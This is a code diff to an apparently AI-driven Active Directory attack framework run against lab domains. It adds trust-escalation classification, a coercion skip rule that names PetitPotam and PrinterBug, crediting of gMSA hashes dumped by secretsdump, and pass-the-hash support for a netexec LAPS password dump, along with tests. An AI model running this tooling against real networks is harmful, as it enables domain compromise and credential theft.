resolve_target_fqdn_from_signals(&s, "FABRIKAM", "contoso.local"); assert!(got.is_none()); } + + // classify_trust_escalation + + #[test] + fn classify_trust_escalation_intra_forest_child_to_parent() { + let (vuln_id, vuln_type, note_kind) = + classify_trust_escalation("child.contoso.local", "contoso.local"); + assert_eq!(vuln_id, "child_to_parent_child_contoso_local_contoso_local"); + assert_eq!(vuln_type, "child_to_parent"); + assert_eq!(note_kind, "Child-to-parent escalation"); + } + + #[test] + fn classify_trust_escalation_intra_forest_parent_to_child() { + let (vuln_id, vuln_type, note_kind) = + classify_trust_escalation("contoso.local", "child.contoso.local"); + assert_eq!(vuln_id, "child_to_parent_contoso_local_child_contoso_local"); + assert_eq!(vuln_type, "child_to_parent"); + assert_eq!(note_kind, "Child-to-parent escalation"); + } + + #[test] + fn classify_trust_escalation_inter_forest() { + let (vuln_id, vuln_type, note_kind) = + classify_trust_escalation("contoso.local", "fabrikam.local"); + assert_eq!(vuln_id, "forest_trust_contoso.local_fabrikam.local"); + assert_eq!(vuln_type, "forest_trust_escalation"); + assert_eq!(note_kind, "Forest trust escalation"); + } + + // build_trust_escalation_vuln + + #[test] + fn trust_vuln_intra_forest_uses_child_to_parent_tokens() { + let v = build_trust_escalation_vuln( + "child.contoso.local", + "contoso.local", + "CHILD$", + "192.168.58.20", + ); + assert_eq!(v.vuln_type, "child_to_parent"); + assert_eq!( + v.vuln_id, + "child_to_parent_child_contoso_local_contoso_local" + ); + assert_eq!(v.target, "192.168.58.20"); + assert_eq!(v.priority, 1); + assert_eq!(v.discovered_by, "trust_automation"); + let note = v.details.get("note").and_then(|x| x.as_str()).unwrap(); + assert!(note.starts_with("Child-to-parent escalation via CHILD$ trust key")); + assert_eq!( + v.details.get("source_domain").and_then(|x| x.as_str()), + Some("child.contoso.local") + ); + assert_eq!( + v.details.get("target_domain").and_then(|x| x.as_str()), + Some("contoso.local") + ); + assert_eq!( + v.details.get("trust_account").and_then(|x| x.as_str()), + Some("CHILD$") + ); + } + + #[test] + fn trust_vuln_inter_forest_uses_forest_trust_tokens() { + let v = build_trust_escalation_vuln( + "contoso.local", + "fabrikam.local", + "FABRIKAM$", + "192.168.58.40", + ); + assert_eq!(v.vuln_type, "forest_trust_escalation"); + assert_eq!(v.vuln_id, "forest_trust_contoso.local_fabrikam.local"); + assert_eq!(v.target, "192.168.58.40"); + let note = v.details.get("note").and_then(|x| x.as_str()).unwrap(); + assert!(note.starts_with("Forest trust escalation via FABRIKAM$ trust key")); + } + + #[test] + fn trust_vuln_carries_source_target_and_trust_account_in_details() { + let v = build_trust_escalation_vuln( + "contoso.local", + "fabrikam.local", + "FABRIKAM$", + "192.168.58.40", + ); + // Required scoreboard fields populated. + assert!(v.details.contains_key("source_domain")); + assert!(v.details.contains_key("target_domain")); + assert!(v.details.contains_key("trust_account")); + assert!(v.details.contains_key("note")); + } + + #[test] + fn classify_trust_escalation_same_domain_treated_as_intra() { + // is_inter_forest returns false for s == t, so the helper falls through + // to the intra-forest branch. The auto loop suppresses self-trust later; + // here we just pin the classification. + let (_, vuln_type, _) = classify_trust_escalation("contoso.local", "contoso.local"); + assert_eq!(vuln_type, "child_to_parent"); + } + + #[test] + fn classify_trust_escalation_case_insensitive() { + let (vuln_id_a, _, _) = classify_trust_escalation("CHILD.Contoso.Local", "Contoso.Local"); + let (vuln_id_b, _, _) = classify_trust_escalation("child.contoso.local", "contoso.local"); + assert_eq!(vuln_id_a, vuln_id_b); + } } diff --git a/ares-cli/src/orchestrator/automation/unconstrained.rs b/ares-cli/src/orchestrator/automation/unconstrained.rs index aa949aa9..8bdc272e 100644 --- a/ares-cli/src/orchestrator/automation/unconstrained.rs +++ b/ares-cli/src/orchestrator/automation/unconstrained.rs @@ -12,7 +12,7 @@ //! User accounts with unconstrained delegation (e.g. `sarah.connor`) are left to //! the LLM-driven exploit path since we can't determine the target host. -use std::collections::HashMap; +use std::collections::{HashMap, HashSet}; use std::sync::Arc; use std::time::Duration; @@ -34,6 +34,50 @@ const MAX_DUMP_ATTEMPTS: u32 = 3; /// Delay between successive dump retries for the same vuln. const DUMP_RETRY_DELAY: Duration = Duration::from_secs(60); +/// True when an unconstrained-delegation machine host coincides with the +/// DC we'd coerce *from* — the coerce-and-capture chain requires the DC +/// to authenticate to a *different* unconstrained host whose LSASS we +/// then dump for the captured TGT. When they're the same machine both +/// PetitPotam (self-loop returns rpc_s_access_denied) and PrinterBug +/// (ERROR_INVALID_HANDLE) fail, and even a successful self-coerce would +/// require local admin on the DC — at which point dc_secretsdump is the +/// canonical exploitation path. Emits a debug log explaining why the +/// chain was skipped so the operator can distinguish "subsumed by +/// dc_secretsdump" (we already own the domain) from "deferring (no +/// self-coerce path)" (we don't). +/// +/// User accounts (no trailing `$`) never trigger this skip — for them we +/// route to the LLM exploit path regardless. +fn skip_self_coerce_loop( + vuln_id: &str, + is_machine: bool, + dc_ip: Option<&str>, + host_ip: &str, + domain_lc: &str, + dominated_domains: &HashSet, +) -> bool { + if !is_machine { + return false; + } + if dc_ip.is_none_or(|ip| ip != host_ip) { + return false; + } + if dominated_domains.contains(domain_lc) { + debug!( + vuln_id = %vuln_id, + host = %host_ip, + "Unconstrained delegation host == DC — subsumed by dc_secretsdump" + ); + } else { + debug!( + vuln_id = %vuln_id, + host = %host_ip, + "Unconstrained delegation host == DC — deferring (no self-coerce path)" + ); + } + true +} + // Phase tracking (in-memory only — intentionally not persisted so restarts // re-trigger the chain, since cached TGTs expire quickly). #[derive(Debug)] @@ -140,6 +184,17 @@ pub async fn auto_unconstrained_exploitation( dc_ip.as_ref().cloned()? }; + if skip_self_coerce_loop( + &vuln.vuln_id, + is_machine, + dc_ip.as_deref(), + &host_ip, + &domain.to_lowercase(), + &state.dominated_domains, + ) { + return None; + } + // Find any non-quarantined credential with a password for this domain. let credential = state .credentials @@ -942,4 +997,107 @@ mod tests { assert!(phase.coercion_dispatched_at.is_none()); assert_eq!(phase.dump_attempts, 0); } + + // skip_self_coerce_loop + + #[test] + fn skip_self_coerce_loop_user_account_never_skips() { + let dominated = HashSet::new(); + // is_machine = false → always returns false regardless of IP overlap. + assert!(!skip_self_coerce_loop( + "vuln-1", + false, + Some("192.168.58.10"), + "192.168.58.10", + "contoso.local", + &dominated, + )); + } + + #[test] + fn skip_self_coerce_loop_no_dc_ip_no_skip() { + let dominated = HashSet::new(); + assert!(!skip_self_coerce_loop( + "vuln-1", + true, + None, + "192.168.58.10", + "contoso.local", + &dominated, + )); + } + + #[test] + fn skip_self_coerce_loop_distinct_dc_no_skip() { + let dominated = HashSet::new(); + // DC and unconstrained host are different machines — the chain is + // viable, so we don't skip. + assert!(!skip_self_coerce_loop( + "vuln-1", + true, + Some("192.168.58.10"), + "192.168.58.20", + "contoso.local", + &dominated, + )); + } + + #[test] + fn skip_self_coerce_loop_dc_equals_host_skips_when_dominated() { + let mut dominated = HashSet::new(); + dominated.insert("contoso.local".to_string()); + // host == DC AND domain already dominated → skip (subsumed by + // dc_secretsdump). + assert!(skip_self_coerce_loop( + "vuln-1", + true, + Some("192.168.58.10"), + "192.168.58.10", + "contoso.local", + &dominated, + )); + } + + #[test] + fn skip_self_coerce_loop_dc_equals_host_skips_when_not_dominated() { + let dominated = HashSet::new(); + // host == DC and domain NOT dominated → still skip, but the debug + // log explains it's a defer (no self-coerce path) rather than a + // subsumption. + assert!(skip_self_coerce_loop( + "vuln-1", + true, + Some("192.168.58.10"), + "192.168.58.10", + "contoso.local", + &dominated, + )); + } + + #[test] + fn skip_self_coerce_loop_dominance_check_is_case_sensitive_on_input() { + // Caller is responsible for lowercasing the domain before passing it + // in — the helper compares with the dominated_domains set as-is. + let mut dominated = HashSet::new(); + dominated.insert("contoso.local".to_string()); + // Lowercase input matches → skip path. + assert!(skip_self_coerce_loop( + "vuln-1", + true, + Some("192.168.58.10"), + "192.168.58.10", + "contoso.local", + &dominated, + )); + // Uppercase input does NOT match — but skip still fires because + // host == DC; only the log branch differs. + assert!(skip_self_coerce_loop( + "vuln-1", + true, + Some("192.168.58.10"), + "192.168.58.10", + "CONTOSO.LOCAL", + &dominated, + )); + } } diff --git a/ares-cli/src/orchestrator/result_processing/mod.rs b/ares-cli/src/orchestrator/result_processing/mod.rs index 6e22199d..cfcd8fef 100644 --- a/ares-cli/src/orchestrator/result_processing/mod.rs +++ b/ares-cli/src/orchestrator/result_processing/mod.rs @@ -518,6 +518,23 @@ pub(crate) fn extract_locked_usernames_from_result( /// Bare `user:pass` (or `Welcome1:` style narrative tokens) are rejected /// because LLM summary text frequently contains `word:` tokens that are /// not principals (e.g. `Notable:`, `username_as_password:`). +/// True when `username` looks like a Group Managed Service Account principal: +/// trailing `$` (machine/service account convention) and the SAM name (with +/// the trailing `$` stripped) contains the substring `gmsa`. Case-insensitive. +/// Matches the same heuristic `auto_gmsa_extraction` uses to recognise gMSA +/// accounts surfaced by enumeration. +fn is_gmsa_principal(username: &str) -> bool { + let trimmed = username.trim_end_matches('$'); + !trimmed.is_empty() && trimmed.len() < username.len() && trimmed.to_lowercase().contains("gmsa") +} + +/// `gmsa_{name}` scoreboard token for a gMSA principal — the trailing `$` +/// is stripped and the name lowercased so secretsdump-surfaced and +/// enumeration-surfaced paths converge on a single exploited-set entry. +fn gmsa_exploit_token(username: &str) -> String { + format!("gmsa_{}", username.trim_end_matches('$').to_lowercase()) +} + fn parse_lockout_principal(line: &str) -> Option<(String, Option)> { let marker_pos = LOCKOUT_PATTERNS.iter().filter_map(|p| line.find(p)).min()?; let prefix = &line[..marker_pos]; @@ -1086,6 +1103,33 @@ async fn extract_discoveries( &source, ) .await; + + // gMSA managed-password recovery side-effect: when secretsdump + // returns a Group Managed Service Account hash (account ends + // with `$` and name contains "gmsa"), credit the gMSA primitive + // even though we never went through `auto_gmsa_extraction`. + // Without this, gMSA hashes captured incidentally via DCSync + // never emit a `gmsa_*` token to the exploited set. + if is_gmsa_principal(&username) { + let vuln_id = gmsa_exploit_token(&username); + if let Err(e) = dispatcher + .state + .mark_exploited(&dispatcher.queue, &vuln_id) + .await + { + warn!( + err = %e, + vuln_id = %vuln_id, + "Failed to mark gMSA hash as exploited" + ); + } else { + info!( + vuln_id = %vuln_id, + account = %username, + "gMSA hash captured via secretsdump — emitted exploit token" + ); + } + } } Ok(false) => {} Err(e) => warn!(err = %e, "Failed to publish hash"), diff --git a/ares-cli/src/orchestrator/result_processing/tests.rs b/ares-cli/src/orchestrator/result_processing/tests.rs index d05d66a3..ba9ecd88 100644 --- a/ares-cli/src/orchestrator/result_processing/tests.rs +++ b/ares-cli/src/orchestrator/result_processing/tests.rs @@ -1231,6 +1231,48 @@ fn extract_locked_users_rejects_llm_narrative_tokens() { assert!(locked.is_empty(), "got false positives: {locked:?}"); } +#[test] +fn is_gmsa_principal_matches_trailing_dollar_with_gmsa_name() { + use super::is_gmsa_principal; + assert!(is_gmsa_principal("gmsaDragon$")); + assert!(is_gmsa_principal("GMSA_WEB$")); + assert!(is_gmsa_principal("svc_gmsa$")); +} + +#[test] +fn is_gmsa_principal_rejects_machine_account_without_gmsa_substring() { + use super::is_gmsa_principal; + // Plain machine accounts end with $ but are not gMSA. + assert!(!is_gmsa_principal("DC01$")); + assert!(!is_gmsa_principal("WEB01$")); +} + +#[test] +fn is_gmsa_principal_rejects_user_without_trailing_dollar() { + use super::is_gmsa_principal; + // A user named "gmsa_admin" (no trailing $) is a regular user, not gMSA. + assert!(!is_gmsa_principal("gmsa_admin")); + assert!(!is_gmsa_principal("")); + assert!(!is_gmsa_principal("$")); +} + +#[test] +fn gmsa_exploit_token_strips_dollar_and_lowercases() { + use super::gmsa_exploit_token; + assert_eq!(gmsa_exploit_token("gmsaDragon$"), "gmsa_gmsadragon"); + assert_eq!(gmsa_exploit_token("GMSA_WEB$"), "gmsa_gmsa_web"); + assert_eq!(gmsa_exploit_token("svc_gmsa$"), "gmsa_svc_gmsa"); +} + +#[test] +fn gmsa_exploit_token_converges_with_enumeration_format() { + // Enumeration path emits `gmsa_{name}` lowercased; secretsdump-surfaced + // path must produce the same key so the exploited-set entry deduplicates + // across paths and the scoreboard counts the primitive once. + use super::gmsa_exploit_token; + assert_eq!(gmsa_exploit_token("gmsaDragon$"), "gmsa_gmsadragon"); +} + #[test] fn seimpersonate_signal_detects_enabled_in_whoami_priv_output() { use super::result_has_seimpersonate_signal; diff --git a/ares-tools/src/credential_access/misc.rs b/ares-tools/src/credential_access/misc.rs index 3bf795cb..c320d3f1 100644 --- a/ares-tools/src/credential_access/misc.rs +++ b/ares-tools/src/credential_access/misc.rs @@ -210,10 +210,15 @@ pub async fn sysvol_script_search(args: &Value) -> Result { pub async fn laps_dump(args: &Value) -> Result { let target = required_str(args, "target")?; let username = required_str(args, "username")?; - let password = required_str(args, "password")?; let domain = required_str(args, "domain")?; + let password = optional_str(args, "password"); + let nt_hash = optional_str(args, "nt_hash"); - let cred_args = credentials::netexec_creds(Some(username), Some(password), None, Some(domain)); + if password.is_none() && nt_hash.is_none() { + anyhow::bail!("laps_dump requires either 'password' or 'nt_hash'"); + } + + let cred_args = credentials::netexec_creds(Some(username), password, nt_hash, Some(domain)); CommandBuilder::new("netexec") .arg("ldap") @@ -952,6 +957,26 @@ mod tests { assert!(required_str(&args, "domain").is_ok()); } + // --- laps_dump auth-arg validation gate --- + + #[tokio::test] + async fn laps_dump_rejects_missing_password_and_nt_hash() { + // Validation runs before netexec spawn — neither password nor + // nt_hash supplied means we bail with a clear error message rather + // than letting netexec fail anonymously. + let args = json!({ + "target": "192.168.58.10", + "username": "alice", + "domain": "contoso.local", + }); + let err = super::laps_dump(&args).await.unwrap_err(); + assert!( + err.to_string() + .contains("requires either 'password' or 'nt_hash'"), + "unexpected error: {err}" + ); + } + // --- DEFAULT_SPRAY_USERNAMES --- #[test]